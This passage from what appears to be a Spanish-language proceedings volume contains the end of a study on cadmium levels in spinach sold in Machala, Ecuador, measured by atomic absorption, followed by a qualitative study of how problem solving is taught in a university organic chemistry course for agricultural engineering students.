En el Ecuador, el mal manejo de desechos producto de actividad minera provoca la contaminación del agua de los ríos llegando a encontrar niveles de hasta 0,14 mg de Cd por litro (Ramírez, 2013) la misma que se emplea en el riego de sembríos (Huang, Pan, Wu, Han, & Chen, 2014) perjudicando la garantía de producir alimentos inocuos y seguros para la población ya que ciertos vegetales son bioacumuladores de metales pesados (Frescia, 2017) y en recientes investigaciones se ha comunicado sobre la existencia de Cd en hortalizas (Fransisca et al., 2015).

La espinaca (*Spinacea oleracea* L y sus variedades) es un comestible de bajas calorías, grasas y proteínas pero bondadoso en vitaminas como la C, A y hierro con gran aportación de fibra (Flores et al., 2013).

Se ha reportado que la espinaca es una hortaliza con capacidad de captar Cd de suelos impuros que contengan este metal pesado (Frescia, 2017) al que se le

atribuyen varias alteraciones y patologías como daño neurológico, hepático, pancreático, renal, óseo, hormonal y testicular (Reyes et al., 2016) por la ingesta habitual de Cd en hortalizas y otros alimentos (RUIZ, 2014).

Esto nos lleva a la necesidad de consumir alimentos que sean inocuos y que no repercutan en nuestra salud ya que con el aumento de la población incrementa proporcionalmente la demanda de comestibles los cuales deben brindar seguridad alimentaria (Ramírez, 2013).

La determinación de metales pesados se ejecuta por el empleo de métodos e instrumentos sofisticados como la espectrometría de masas con plasma de acoplamiento inductivo- (ICP-MS), espectrometría de fluorescencia de rayos X y espectrometría de absorción atómica, siendo la última opción una de las más viables (Moreno et. al., 2016).

Mediante el uso de Espectroscopia de Absorción Atómica se analizan partículas de varios metales presentes en diferentes sustancias (Skoog, Holler, & Stanley, 2008). El método se justifica en la fragmentación del analito, los componentes de un material serán sometidos a radiación electromagnética a una frecuencia definida, aquellos/as átomos, moléculas o iones captan dicha radiación ocasionando un cambio de estados energéticos desde uno fundamental hasta un cambio excitado de superior energía, que es de carácter inestable por lo que luego las partículas retornan a su estado original. Este proceso puede significarse a través de espectros. La proporción de luz captada luego de pasar a través de la llama precisa la proporción de analito presente en la muestra (Skoog, Holler, & Stanley, 2008).

Siendo el objetivo de la presente investigación la determinación de la concentración de Cadmio en *Spinacia oleracea* comercializada en la Ciudad de Machala mediante espectroscopia de Absorción Atómica.

2. MATERIALES Y MÉTODOS

Materiales

- Balones aforados de 25 mL.

- Pipetas graduadas de 10 mL.
- Vasos de precipitación de 100 mL, 250 mL.
- Embudos de vidrio.
- Papel filtro Whatman N.º 40.
- Bolsas de cierre hermético.
- Probeta de 25 mL.
- Guantes.
- Bata de laboratorio.
- Botellas de poliestireno de color ámbar de 25 mL con cierre hermético.

Reactivos

- Estándar de cadmio 1000 ppm Inorganic Ventures.
- Ácido nítrico JT Baker.
- Agua desionizada.

Equipos

- Campana extractora Kewaunee Scientific Corporation.
- Plancha de calentamiento.
- Balanza analítica Rice Lake TA-220.
- Espectrofotómetro de absorción atómica, Perkin Elmer Analyst 300.

Recolección de la muestra

Se recolectó 5 muestras de espinaca (*Spinacia oleracea*) en 5 mercados de la Ciudad de Machala: Mercado Buenos Aires (1), Mercado Central (1), Supermercado AKI (1), Mercado de la Asociación de Comerciantes Minoristas Sur de Machala (1), Hipermarket Paseo Shopping Machala (1).

Una vez adquiridas las muestras, se colocaron en fundas con cierre hermético y se rotularon con un código numérico y se conservaron en un refrigerador a 4°C en promedio.

En la tabla 1 se indica la codificación de las muestras y el lugar de adquisición.

LUGAR DE ADQUISICIÓN	CÓDIGO
Mercado de la Asociación de Comerciantes Minoristas Sur de Machala	I – I.I
Mercado Central	II – II.I
Mercado Buenos Aires	III – III.I
Hipermarket Paseo Shopping Machala	IV – IV.I
Supermercado AKI	V – V.I

Tabla 20 Lugar de adquisición de las muestras

Procesamiento de la muestra

Digestión

Las muestras de *Spinacia oleracea* fueron lavadas con agua desionizada hasta retirar toda impureza de las hojas. Se seleccionaron las hojas que se encontraban en perfecto estado.

- Se pesó aproximadamente 0,5 gramos de hojas frescas de las muestras de *Spinacia oleracea* (I, II, III, IV, V) con su respectivo duplicado (I.I, II.I, III.I, IV.I, V.I)
- Se llevó a un balón volumétrico de 25 mL y se enrasó con agua desionizada.
- Se colocó la preparación anterior en un vaso de precipitación de 100 mL y se adicionó 10 mL de ácido nítrico concentrado para realizar la digestión.
- Se calentó hasta la eliminación de los vapores provenientes del ácido nítrico.
- La solución resultante se llevó a un balón de 25 mL aforando con agua desionizada.
- Se filtró y se envasó en recipientes de color ámbar.
- Se realizó la lectura en el equipo.

Determinación de la concentración de cadmio en *Spinacia oleracea*.

Las soluciones obtenidas a partir del procedimiento de digestión ácida fueron enviadas en botellas de poliestireno de color ámbar de 25 mL con cierre hermético al laboratorio LAB-METALOR, ubicado en la ciudad de Zaruma sector El Pache,

el mismo que se encuentra acondicionado con un equipo de Espectroscopia de Absorción Atómica marca Perkin-Elmer serie 300, determinando la concentración de Cadmio expresado en mg/Kg.

Análisis de datos

Los datos fueron procesados mediante el programa Microsoft Excel 2013 y el programa estadístico Statgraphics Plus versión 5.0.

3. RESULTADOS Y DISCUSIÓN

Los resultados obtenidos son presentados en la tabla 2, indicando las concentraciones de cadmio halladas en las muestras analizadas en el presente estudio

Nº	Código	Cd (mg/Kg)
1	I	0,10
2	I.I	0,12
3	II	0,13
4	II.I	0,15
5	III	0,21
6	III.I	0,24
7	IV	0,22
8	IV.I	0,19
9	V	0,22
10	V.I	0,26

Tabla 21 Concentración de cadmio en las muestras de Spinacia oleracea analizadas

Figura 1 Concentración de cadmio en muestras de *Spinacia oleracea*

Figura 2 Gráfico de cajas y bigotes de las concentraciones de Cd en las muestras de *Spinacia oleracea*.

La tabla 2 y figura 1 muestran las concentraciones de cadmio obtenidas de las muestras de *Spinacia oleracea*, observándose valores desde 0,10 a 0,26 mg/Kg de cadmio, de los cuales las muestras III, III.I, IV, V, V.I superan el nivel máximo de Cadmio establecido en el Codex Alimentario 193-1995, siendo este de 0,2 mg/Kg.

En la figura 2, muestra que el 50% de las muestras analizadas superan el nivel máximo de cadmio permitido ya que dos cuartiles del grafico de cajas y bigotes se encuentran por superando la concentración de 0,2 mg/Kg según el Codex Alimentario.

Lugar de adquisición	Muestras	Concentración (mg/Kg)	Media Concentración (mg/Kg)	NM Codex alimentario 193-1995 (mg/Kg)
Mercado de la Asociación de Comerciantes Minoristas Sur de Machala	I	0,10	0,11	0,20
	I.I	0,12		0,20
Mercado Central	II	0,13	0,14	0,20
	II.I	0,15		0,20
Mercado Buenos Aires	III	0,21	0,23	0,20
	III.I	0,24		0,20
Hipermarket Paseo Shopping Machala	IV	0,22	0,21	0,20
	IV.I	0,19		0,20
Supermercado AKI	V	0,22	0,24	0,20
	V.I	0,26		0,20

Tabla 22 Concentración de cadmio en *Spinacia oleracea* en las muestras analizadas comparado con Codex Alimenticio 193-1995

Figura 3 Concentración media en *Spinacia oleracea* de cadmio por lugar de adquisición de muestras en comparación con Nivel máximo de Cd según Codex STAN 193-1995

En la tabla 3 y figura 3 se muestra la concentración media de cadmio en las muestras de *Spinacia oleracea* por lugar de adquisición, en donde tres de los cinco puntos de muestreo superan el nivel máximo de Cadmio siendo estos el Mercado Buenos Aires, Hypermarket Paseo Shopping, Supermercado AKI, lo que sugiere que las muestras que son expandidas por grandes cadenas comerciales se encuentran expuestas a mayores cantidades de Cadmio llegando a superar estándares internacionales.

	Concentración Media (mg/Kg)	Desviación estándar	Varianza
--	--------------------------------	------------------------	----------

Total, de muestras analizadas n=10	0,1840	0,055216745	0,003048889
------------------------------------	--------	-------------	-------------

Tabla 23 Determinación estadística de la concentración de Cadmio en Spinacia oleracea

En la Tabla 4, se observan las pruebas estadísticas implantadas a los resultados obtenidos, con un total de 10 muestras y una media de concentración de Cadmio de 0,1840 mg/Kg, indica que de manera general los mercados de la Ciudad de Machala se encuentran dentro de la normativa del Codex Alimentario 193-1995.

4. CONCLUSIONES

- El 50 % de las muestras de *Spinacia oleracea* analizadas sobrepasan el límite máximo que estipula el Codex alimentario 193-1995 de 0,2 mg/Kg de cadmio en hortalizas de hoja verde.
- La concentración media de cadmio en las muestras de *Spinacia oleracea* fue de 0,1840 mg/Kg.

REFERENCIAS BIBLIOGRÁFICAS

- Flores, M., Arroyo, S., Ortiz, B., Quiroz, G., Enrique, L., Ruiz, G., & Concepción, M. (2013). Cadmio: efectos sobre la salud. Respuesta celular y molecular Cadmium: effects on health. Cellular and molecular response. *Acta Toxicol. Argent*, 21(1), 33–49.
- Fransisca, Y., Small, D. M., Morrison, P. D., Spencer, M. J. S., Ball, A. S., & Jones, O. A. H. (2015). Assessment of arsenic in Australian grown and imported rice varieties on sale in Australia and potential links with irrigation practises and soil geochemistry. *Chemosphere*, 138, 1008–1013.
- Frescia, M. (2017). *Determinación de metales pesados (plomo y cadmio) en lechuga (Lactuca sativa) en mercados del Cono Norte , Centro y Cono Sur de Lima Metropolitana.*
- García, P. E. P., & Cruz, M. I. A. (2012). Los efectos del cadmio en la salud. *Revista de*

Especialidades Médico-Quirúrgicas, 17(3), 199–205.

Huang, Z., Pan, X. D., Wu, P. G., Han, J. L., & Chen, Q. (2014). Heavy metals in vegetables and the health risk to population in Zhejiang, China. *Food Control*, 36(1), 248–252.

Moreno et. al. (2016). Cuantificación voltamétrica de plomo y cadmio en papa fresca. *Revista U.D.C.A Actualidad & Divulgación Científica*, 19(1), 97–104.

Moreno, H., Fernández, G., Díaz, A., & Riol, M. (2004). *En Conservas De Almeja , Berberecho Y Navaja*. 4(3), 197–205.

Peláez-Peláez, M.-J., Bustamante-Cano, J.-J., & Gómez-López, E.-D. (2016). Presencia de cadmio y plomo en suelos y su bioacumulación en tejidos vegetales en especies de brachiaria en el Magdalena Medio colombiano. *Luna Azul*, 43(43), 82–101.

Pinzón, C. (2015). *Determinación de los niveles de plomo y cadmio en leche procesada en la ciudad de Bogotá D.C.*

Quispe, J. (2016). “*Estudio de niveles de Pb (ii) y Cd (ii) en macroalgas marinas del litoral arequipeño, como propuesta de bioindicador marino, Arequipa-2015.*” 8

Ramírez, A. (2013). Toxicología del cadmio. Conceptos actuales para evaluar exposición ambiental u ocupacional con indicadores biológicos. *Anales de La Facultad de Medicina*, 63(1), 51.

Reyes, Y. C., Vergara, I., Torres, O. E., Díaz, M., & González, E. E. (2016). Contaminación por metales pesados: implicaciones en salud, ambiente y seguridad alimentaria. *Revista Ingeniería, Investigación y Desarrollo*, 16(1), 66–77.

Ruiz, J. (2014). Evaluación de tratamientos para disminuir cadmio en lechuga (*Lactuca sativa* L.) regada con agua del río Bogotá Evaluation of treatments to reduce cadmium. *Scielo.Org.Co*, 5(2), 233–243.

BIOGRAFÍA DEL AUTOR

Donna Granja Rizzo, Egresada de la carrera de Bioquímica y Farmacia:
Universidad Técnica de Machala

Glenda Pérez Cedillo, Egresada de la carrera de Bioquímica y Farmacia:
Universidad Técnica de Machala

Diana Serafín, Docente de la carrera de Bioquímica y Farmacia: Universidad
Técnica de Machala

Jaime Ordoñez, Ingeniero químico: Universidad Técnica de Machala.

Marisela Segura, Docente de la carrera de Bioquímica y Farmacia: Universidad
Técnica de Machala

LA RESOLUCIÓN DE PROBLEMAS MATEMÁTICOS, VINCULADOS A LAS CIENCIAS AGROPECUARIAS

Lic. Raquel Vera Velázquez MSc,

Alfredo Lesbel Castro Landín,

Pedro Roberto Valdes Tamayo

Universidad Estatal del Sur de Manabí,

raquelita2015vera@gmail.com , alfredolandin.55@gmail.com,

pvaldestamayo@gmail.com

RESUMEN

El presente trabajo se enmarca en la investigación sobre la enseñanza y el aprendizaje de la Resolución de Problemas de Ciencias Exactas y Experimentales en el ámbito universitario. Los interrogantes se centran en los caracteres que se le otorgan al proceso de resolución de problemas, tanto desde las perspectivas del docente como la de los estudiantes, que lo justifican y validan desde una identidad donde predomina la operatoria algorítmica por sobre todo otro aspecto, propiciando el estudio y análisis del mismo. La muestra estuvo constituida por un docente y un grupo de sus estudiantes, cursantes de la asignatura Química Orgánica de la carrera de Ingeniería Agropecuaria. Se apela al enfoque cualitativo con estudios de casos, observaciones de clases y entrevistas. Se establecieron las categorías emergentes y se utilizó la triangulación como fuente de confiabilidad de los resultados logrados. Los procesos involucrados parecerían basarse en la formación de acciones mentales, etapa por etapa, y pretenden transformar los problemas en situaciones estándar que pueden resolverse mediante operaciones más o menos rutinarias, justificadas por el docente y reproducidas por los estudiantes.

PALABRAS CLAVE: Resolución de problemas, enseñanza, aprendizaje, Química

ABSTRACT

The present work is part of the research on the teaching and learning of the Resolution of Problems of Exact and Experimental Sciences in the university field.

The questions focus on the characters that are given to the process of problem solving, both from the perspectives of the teacher and the students, who justify and validate it from an identity where the algorithmic operation predominates over everything else, propitiating the study and analysis of it. The sample was constituted by a teacher and a group of his students, students of the Organic Chemistry course of the Agricultural Engineering career. Appeals to the qualitative approach with case studies, class observations and interviews. The emerging categories were established and triangulation was used as a source of reliability of the results achieved. The processes involved would seem to be based on the formation of mental actions, stage by stage, and aim to transform the problems into standard situations that can be solved through more or less routine operations, justified by the teacher and reproduced by the students.

KEYWORDS: Problem solving, teaching, learning, Chemistry

1. INTRODUCCIÓN

La resolución de problemas resulta ser una de las problemáticas que en estos últimos tiempos está siendo abordada con gran interés y preocupación por la investigación educativa. Para Gaulin (2001) hablar de problemas implica considerar aquellas situaciones que demandan reflexión, búsqueda, investigación y donde para responder hay que pensar en las soluciones y definir una estrategia de resolución que no conduce, precisamente, a una respuesta rápida e inmediata.

La aparición del enfoque de resolución de problemas como preocupación didáctica surge como consecuencia de considerar el aprendizaje como una construcción social que incluye conjeturas, pruebas y refutaciones con base en un proceso creativo y generativo. La enseñanza desde esta perspectiva pretende poner el acento en actividades que plantean situaciones problemáticas cuya resolución requiere analizar, descubrir, elaborar hipótesis, confrontar, reflexionar, argumentar y comunicar ideas. Surge, así como necesaria la disposición en los estudiantes de los conocimientos declarativos y procedimentales requeridos como indispensables para resolver el problema que se le ha planteado. Esto señala la búsqueda consciente de un modelo que potencie el desarrollo de un estudiante independiente, que en

interacción con el conocimiento y el mundo que lo rodea aprende y organiza su saber cómo parte de su construcción personal y profesional. Por su parte, para Parra (1990) un problema lo es en la medida en que el sujeto al que se le plantea (o que se plantea él mismo) dispone de los elementos para comprender la situación que el problema describe y no dispone de un sistema de respuestas totalmente constituido que le permita responder de manera inmediata. Intención presente en la acepción establecida por Polya (1965) para quien un problema significa buscar de forma consiente una acción apropiada para lograr un objetivo claramente concebido, pero no alcanzable en forma inmediata. Es en esta búsqueda en la que subyace una idea derivada de los aportes de Newell y Simón (1972) que pone en evidencia en el marco de la psicología cognoscitiva que un problema puede pensarse como una discrepancia entre un estado inicial y un estado final que constituye la meta a alcanzar. El rol de los problemas en el currículo escolar, tanto en las ciencias exactas como en las naturales, no es nuevo. En algunos casos, tal como en la matemática, aparecen, según Stanic y Kilpatrick (1989) desde la antigüedad; en otros, tales como el caso de la Física y la Química, han acompañado la enseñanza de estas disciplinas asociados a situaciones de carácter comprobatorio. Sin embargo, los problemas, relacionados con una situación nueva que debe abordarse y cuya solución hay que encontrar, aparece junto a nuevas tendencias educativas que demandan el desarrollo de determinadas habilidades y destrezas de los estudiantes a expensas de concepciones que contemplan de otra manera la educación en ciencias. Aparecen así otros significados que resultan congruentes con esta perspectiva: la necesidad de mostrar una ciencia recreativa que recupera problemas cotidianos y los pone a disposición de los estudiantes como una forma de mostrar que aprender ciencia puede resultar divertido.

El presente trabajo tiene como objetivo comprobar de qué manera es utilizada la resolución de problemas como estrategia de enseñanza, desde perspectivas docentes, y de aprendizaje, desde las perspectivas de los estudiantes. Las mismas se hacen presentes en las argumentaciones que justifican la naturaleza del proceso de resolución en las prácticas de clases, prácticas de laboratorio y en diferentes escenarios de la carrera Agropecuaria poniendo en evidencia los caracteres que se

le otorgan y el lugar ocupado por dicho proceso por las dificultades presentadas por los estudiantes en diferentes materias.

2. MATERIALES Y MÉTODOS

Se trata de una investigación-diagnóstica que trata de detectar concepciones de los docentes y de los alumnos respecto a la resolución de problemas. Corresponde a un estudio de casos: sujeto único (docente) y dos sujetos (estudiantes) con registros contruidos mediante datos provenientes de entrevistas, observaciones de clase y análisis de documentos curriculares. En el caso del docente, se observó una clase que versó sobre el tema casos de hidrólisis; por su parte, la entrevista, concebida originalmente estructurada fue paulatinamente desestructurándose de acuerdo con las respuestas aportadas por el entrevistado. En cuanto a los documentos curriculares consistió en el análisis de un organizador de la clase elaborado por el docente. Se trataba de un esquema sucinto en el cual se presentaba el tema de manera general y a continuación se listaban una serie de cuestiones a resolver, algunas de las cuales fueron utilizadas como modelos-tipo mientras las otras se utilizaron para que los alumnos ejercitaran los conceptos involucrados en la clase. En el caso de los estudiantes, se realizó la observación de una clase práctica del mismo tema. La primera parte de la clase consistió en un interrogatorio planteado por el profesor y que los alumnos desarrollaron en un cuaderno destinado para ese fin. A continuación, los mismos realizaron el trabajo práctico, momentos en los cuales los observadores se insertaron en los grupos de trabajo con el propósito de captar el proceso resolutivo llevado a cabo por los estudiantes. Los observadores intervinieron con preguntas directas que fueron grabadas. A partir del análisis de esta observación se seleccionaron dos estudiantes para entrevistar en función de los perfiles de aprendizaje detectados (Cano y Justicia, 1994), y atendiendo las dimensiones emergentes en la observación. La investigación está centrada en torno a las siguientes preguntas:

¿De qué manera es utilizada la resolución de problemas como estrategia de enseñanza?

¿Qué caracteres se le otorgan al proceso resolutorio y qué lugar ocupa el mismo en el salón de clases?

¿Qué perspectivas docentes se hacen presentes en las argumentaciones que justifican la naturaleza del proceso de resolución en las prácticas de la enseñanza?

¿Cuáles son las relaciones entre las estrategias propuestas por el docente y las que aportan los estudiantes?

Análisis de los datos

Dado que se trata de una investigación cualitativa, los objetivos perseguidos no intentan sólo centrarse en el acto de conocer, sino que también se deposita el interés en las formas de intervenir (Peiró, 1996). De esta manera se pretende obtener un conocimiento directo de la realidad social que se estudia a fin de comprenderla, conocimiento no mediado por definiciones operativas prefijadas, ni anticipado por instrumentos de medida con alto grado de estructuración. El análisis de la información proveniente de los distintos instrumentos utilizados demandó la triangulación de los datos provenientes de los mismos, así como también el establecimiento de categorías de análisis de acuerdo a los aspectos que van emergiendo desde la lectura. El esquema de análisis utilizado sigue lo planteado por Miles y Huberman (1994) para lo cual se realizó la selección de información relevante, categorización y codificación e identificación de unidades de significado.

Es así que surgen las siguientes:

Categoría 1: El problema como recurso didáctico

Categoría 2: Modelos docentes asociados a la resolución de problemas

Categoría 3: Estrategias vinculadas al proceso de resolución

Categoría 4: Dificultades de los estudiantes.

3. RESULTADOS Y DISCUSIÓN

El problema como recurso didáctico la estructura de resolución de problemas en el salón de clases implica como acción principal una demostración por parte del docente, quien plantea un problema y desarrolla a continuación la solución del

mismo como modelo. Los estudiantes, por su parte, repiten la solución presentada por el profesor y luego aplican idénticos procedimientos a la solución de problemas similares. En este último caso, el profesor evalúa la respuesta de los estudiantes y dice si ésta es correcta o no. En las citas textuales siguientes, se reemplazan por letras a los actores de los diálogos: P es el profesor entrevistado y observado, O, el observador, Dunia, Luisa, Nicolás, José, Jorge, Carlos son los estudiantes que intervinieron en los trabajos.

En la práctica educativa analizada, la resolución de problemas suele confundirse con el desarrollo de ejercicios.

Profesor: Con ejercicios yo les muestro a ellos cómo van a poder resolver los posibles problemas, les doy las pautas como para que ellos se ejerciten y entiendan lo que les estoy dando en el teórico. [...]. Ya en problema trato de dar uno semejante al ejercicio que les di, mientras en otro voy agregando otras cositas más complicadas como para que ellos piensen, razonen más... Entonces, si bien es cierto, son considerados problemas aquellos que intentan desde su redacción la presentación de dificultades cognitivas mayores, reservándose la concepción de ejercicio para algo más trivial, de cálculo inmediato, los primeros de ellos no distan de ser un ejercicio avanzado que sólo suele implicar varios conceptos teóricos y su simple traducción numérica:

Profesor: Se supone que ya tienen una base teórica para que ellos razonen y lo puedan resolver. Empiezo de lo más simple y lo voy complicando un poquito más, digamos al problema, todo para que ellos piensen, razonen, conecten cosas vistas con lo que están viendo ahora, que relacionen. Esta complejidad es percibida por los estudiantes, quienes identifican diferencias en los problemas presentados en el trabajo práctico del profesor:

Dunia: a veces ponen el último, todos los ejercicios se basan en el último.

Observador: Ah, todos los ejercicios están, ¿a ver?

Dunia: Por ejemplo, el 17, si nos dan... el 17 contiene del uno al diecisiete, o a veces el 17 se parece al uno. De cualquier manera, el tratamiento de situaciones

problemáticas resulta ser un medio antes que un fin, y es por ello que termina considerándose como tal a la mera aplicación de un contenido conceptual específico a una situación determinada. Si a esto se suma que el contenido de la situación planteada sólo requiera la mera identificación del algoritmo que se debe utilizar, el estudiante no habrá enfrentado un problema, sino un ejercicio de aplicación, como por ejemplo cuando se solicita: Calcular el pH de una solución de acetato de sodio 0,10 M, K igual a 1,85 mol sobre litro.

En este sentido, los estudiantes buscan las fórmulas y los ejemplos que les da el profesor para resolver los ejercicios y guiarse para encontrar la solución.

Observador: ¿Qué buscas en el cuaderno, Gabriela?

Dunia: La teoría que nos dio el profesor.

Observador: ¿Para qué te sirve?

Dunia: Para poder hacer el problema, o sea, él nos explica cómo vino la fórmula, el equilibrio de la solución, todo eso.

Observador: Y a vos, ¿para qué te sirve la fórmula?

Luisa: eh... para hacerlo, resolverlo, para hacerlo llegar al resultado más fácil, con la teoría me guío más. Para... para resolverlo.

Nicolás: Tengo que ver el carácter ácido, básico o neutro... son fórmulas, la mayoría de las fórmulas te dicen cuáles son las más ácidas, lo más ácido, lo más neutro. El cloruro.... Es cuestión de la fórmula, ... Otra regularidad advertida, como consecuencia de los caracteres infundidos a la práctica resolutive, comprometen la inducción en el dominio de técnicas adquiridas por repetición sucesiva:

Profesor: Eso es lo que tienen que observar siempre ustedes, de dónde proviene el catión y el anión. Acuérdense. Esto es lo que tienen que tener en cuenta. Alternativa que deja de ser advertida por el profesor cuando afirma:

Profesor: Ellos, por ejemplo, en hidrólisis vieron una sola sustancia, después, le agrego cuando se mezclan dos sustancias. Esto es para que entiendan el teórico que les enseñé, como para que ellos no se mecanicen. Los primeros problemas son

sencillos y fáciles, los demás van aumentando su complejidad, les voy agregando otras cosas como para que ellos no se mecanicen. Por otro lado, un nuevo factor que viene a potenciar el automatismo en el trabajo de los estudiantes está centrado en el uso de problemas-tipo, a modo de modelos a seguir, el desarrollo de los cuales finaliza incentivando y promocionando el uso de reglas o esquemas prefijados:

Profesor: El problema les da el valor de K_b o sino la buscan en tablititas. Entonces calculan la K_h , reemplazo y ésta sería la concentración que también les da el problema. Una vez que tengo la concentración de iones calculo el pH, recién ahí calculo el pH. Los estudiantes, atentos a las reglas del juego, se esfuerzan por cumplir con el mandato.

José: Porque siempre pasamos un hidrógeno, y estamos trabajando con fórmulas que no tienen hidrógeno para pasar, así que no sé qué hay que hacer, no pueden pensar desde una óptica conceptual, disciplinar, del tema, diferente de la proporcionada por el docente, sino que buscan otra regla que sirva para resolver

Jorge: Y.... buscando un poco los ejemplos que tenía, acá alguno tiene hidróxido... hay que pasar... Entonces, el profesor explica y atiende el proceso resolutivo desde su lógica sin tener en cuenta la lógica de los estudiantes, dejando marginada la posibilidad de que los estudiantes incursionen por otros caminos de resolución posibles:

Profesor: Entonces en lugar de hacer todo...lo que yo hice anteriormente es para que ustedes lleguen a calcular la concentración de iones hidrógeno. [...]. Es decir, todo lo otro era un planteamiento como llegar, no es que lo tengan que hacer cada vez que hagan un problema, directamente van a la fórmula. Lo que tienen que plantear Uds. es la hidrólisis para saber qué calcular. La situación pasa inadvertida para el docente quien, al contrario, considera que brinda suficientes grados de libertad a sus estudiantes como para que aborden la resolución por sí solos y que si no lo hacen es porque no lo desean: P: [...]...chicos, éste es mi razonamiento, si ustedes. lo razonan por otro lado obtienen el mismo resultado. Yo trato de no imponer mi forma de razonar, mi forma de resolver problemas. Les digo: en tal libro sale así, en éste otro sale de esta manera...hay chicos que lo hacen de otra forma y

vienen y me plantean: yo lo razoné así y les digo: perfecto. Yo no les prohíbo otra posibilidad. Pero son los menos. Frente a un planteo estratégico que cercena la toma de decisiones y encasilla a los estudiantes, resulta coherente la utilización de situaciones problemáticas directas evitándose aquellas que sean de difícil solución. Lo anterior resulta corroborado al analizar con el docente, en ocasión de la entrevista, las posibilidades didácticas de dos problemas de distinta naturaleza en cuanto a demandas cognitivas implicadas en sus resoluciones, pero comprometiendo idéntica temática. El primero de ellos identificado como netamente cuantitativo, siguiendo el modelo tradicional de problemas usados en el ámbito de las Ciencias Experimentales, hace referencia al cálculo de la presión de una masa gaseosa a volumen constante utilizando la ley general de los gases. El segundo, identificado como cualitativo o no tradicional resulta de una adaptación del ideado por Nurrenbern y Pickering (1987) para contenidos iguales. Las perspectivas asociadas a dichos problemas muestran una mayor identificación con el primero de ellos teniendo en cuenta la mayor o menor facilidad implicada en sus resoluciones:

Profesor: En todos los casos veo el primer problema más directo, tiene más directo el chico lo que tiene que hacer. Es más directo. En el segundo van a perder más tiempo. No lo pueden hacer... Al primero lo van a resolver más rápido, aplico la fórmula directamente, al segundo... les va a costar porque no están acostumbrados a trabajar con este esquema de átomos y moléculas. El primero les va a ser más fácil. De todos modos, se reconoce que en función del aprendizaje el primero de los problemas es más mecánico y que en el segundo el estudiante debería pensar más, ya que:

Profesor: la idea de átomos o moléculas no la tienen bien; en cambio en el primero tienen todo, tienen los datos, hecho que a su juicio implica que el primero de los problemas planteados tiene mayor valor educativo, consideración que pone en evidencia una justificación del uso de las estrategias docentes a las que se apela. De esta manera la resolución de problemas resulta concentrada en encontrar un resultado y desaprovecha la oportunidad para favorecer el pensamiento divergente,

el aprendizaje de conceptos o de determinados aspectos de la metodología científica.

Modelo docente asociado al proceso de resolución la realidad de la práctica de la enseñanza investigada es coherente con un pensamiento docente derivado de un modelo de aprendizaje por transmisión recepción, posición congruente igualmente con la resolución de problemas preparados por el docente o provenientes de textos completamente ajenos a los estudiantes y a sus intereses.

Profesor: busco los ejercicios que se adapten a la teoría que estoy enseñando; es como que les traduzco a los estudiantes lo que yo les estoy diciendo teóricamente a través de los ejercicios. Después busco otros ejercicios más que nada para saber si ellos relacionan con temas vistos. Así, las variables significativas son seleccionadas por el docente, el enunciado contiene sólo los datos necesarios y suficientes para resolverlo, se proporcionan determinadas pistas que encasillan la solución y la reducen a ciertos temas del programa limitando la posibilidad de facilitar integraciones al menos parciales. Las maneras de estudiar propiciadas en el grupo de estudiantes no favorecen que los conocimientos se integren y que puedan explicarse los conceptos químicos, sino que lo que se favorece es que se comprenda a través de la repetición de esquemas donde los conceptos tratan de ubicarse convenientemente para producir una solución satisfactoria. Solución que poco tiene que ver con la comprensión conceptual de las leyes y propiedades químicas utilizadas, por lo que no pueden producirse las explicaciones de los fenómenos que se trabajan (Lin, Chen y Lawrenz, 2000). De igual modo, las tradiciones docentes en la enseñanza de las Ciencias Experimentales dejan sentir su influencia en este sentido. Es por eso que las ideas que se tienen en relación a la resolución de problemas no están desprendidas de las concepciones que se tienen acerca de la ciencia y del conocimiento científico. Estas influencias también son determinantes para reforzar la visión que resolver problemas más bien favorece y refuerza aproximaciones que usan fórmulas y un aprendizaje superficial y confirman que el éxito en la resolución de problemas generalmente no es una buena medida de la comprensión conceptual (Leonard et al., 2000). Estos sucesos son coherentes con el uso de problemas-tipo, con aplicación directa de algoritmos y

fórmulas, que suelen presentarse como modelo a seguir en el abordaje de otras situaciones que no difieren demasiado en su nivel de dificultad. La resolución queda reducida de esta manera a una mera repetición mecánica de pasos que deben seguirse siempre que el estudiante se vea enfrentado a una situación de idéntica naturaleza.

Proponemos otros ejemplos de problemas que se han ido trabajando en función de aplicar la estrategia y mejorar el razonamiento lógico de los estudiantes de la carrera Agropecuaria. (ANEXOS)

4. CONCLUSIONES

Los resultados obtenidos a través de esta investigación ponen en evidencia que la enseñanza y el aprendizaje de la Resolución de Problemas desde la perspectiva de los actores de la muestra, se encuentran fuertemente ligados a procesos que incentivan mecanismos de repetición y a acciones que validan este proceso resolutivo. El aprendizaje generado, donde lo que se busca es la regla para encontrar la solución, la fórmula, la ecuación, sin relacionar las cuestiones conceptuales o sin mirar desde los modelos químicos que expliquen las reacciones que se producen, limita al estudiante a la mera repetición de pasos que impiden la verdadera comprensión de los fenómenos químicos. Es así que los modelos de situaciones problemáticas planteadas permiten sólo que se apliquen las reglas de la disciplina, que se van repitiendo en todos ellos con mínimas variaciones que son de tipo operatoria y no proveen de discusiones a partir de las cuales el alumno pueda confrontar el conocimiento adquirido con el conocimiento científico. El conflicto cognitivo está ausente, o, por lo menos, muy relegado a ultimísimo plano, no aparece como cuestión principal en la clase, no aparece la comprensión de los fenómenos químicos, sino la explicación a través de ecuaciones y fórmulas.

La independencia de estudio, el juicio crítico no tiene sustento si el estudiante no modifica estas formas, esta búsqueda de repeticiones, de salir bien a costa del aprendizaje. Es el docente el que debe propiciar, dar herramientas y elementos para que el estudiante desarrolle sus propias estrategias de aprendizaje, y elementos metacognitivos que le ayuden a aprender. Las concepciones docentes emergentes

a este respecto no difieren demasiado de las que nos muestran los resultados de investigaciones educativas con profesores de Ciencias. En ese sentido se revelan coincidencias con caracterizaciones puestas en evidencia en otros contextos (Drewes, Iuliani, Caamaño, 2001) en relación con la noción de problema, sus objetivos y su aplicación en el aula. Las mismas ponen en situación la relación con fracasos estudiantiles en los aprendizajes disciplinares asociados en buena medida al trabajo con problemas-ejercicios, los que descontextualizados y escasamente motivadores alejan de los alumnos la posibilidad de enfrentarse con desafíos que supone el abordaje de auténticas situaciones que plantean interrogantes y dificultades para las cuales no hay una solución única y preestablecida (Hayes, 1981; Bodner y Mc Millen, 1986). Existe así ausencia en el cumplimiento de lo que se supone se espera de los alumnos respecto a la resolución de problemas: una enseñanza basada en la comprensión de los razonamientos de los estudiantes y la detección de las causas que originan sus dificultades. Es el profesor le corresponde orientar su discurso y las actividades que promueve para conseguir que el alumnado pueda identificar otras formas de ver los fenómenos, y de pensar y de hablar sobre ellos más acordes con los de la ciencia actual. Sin embargo, para ello es necesario un cambio profundo en la forma de entender 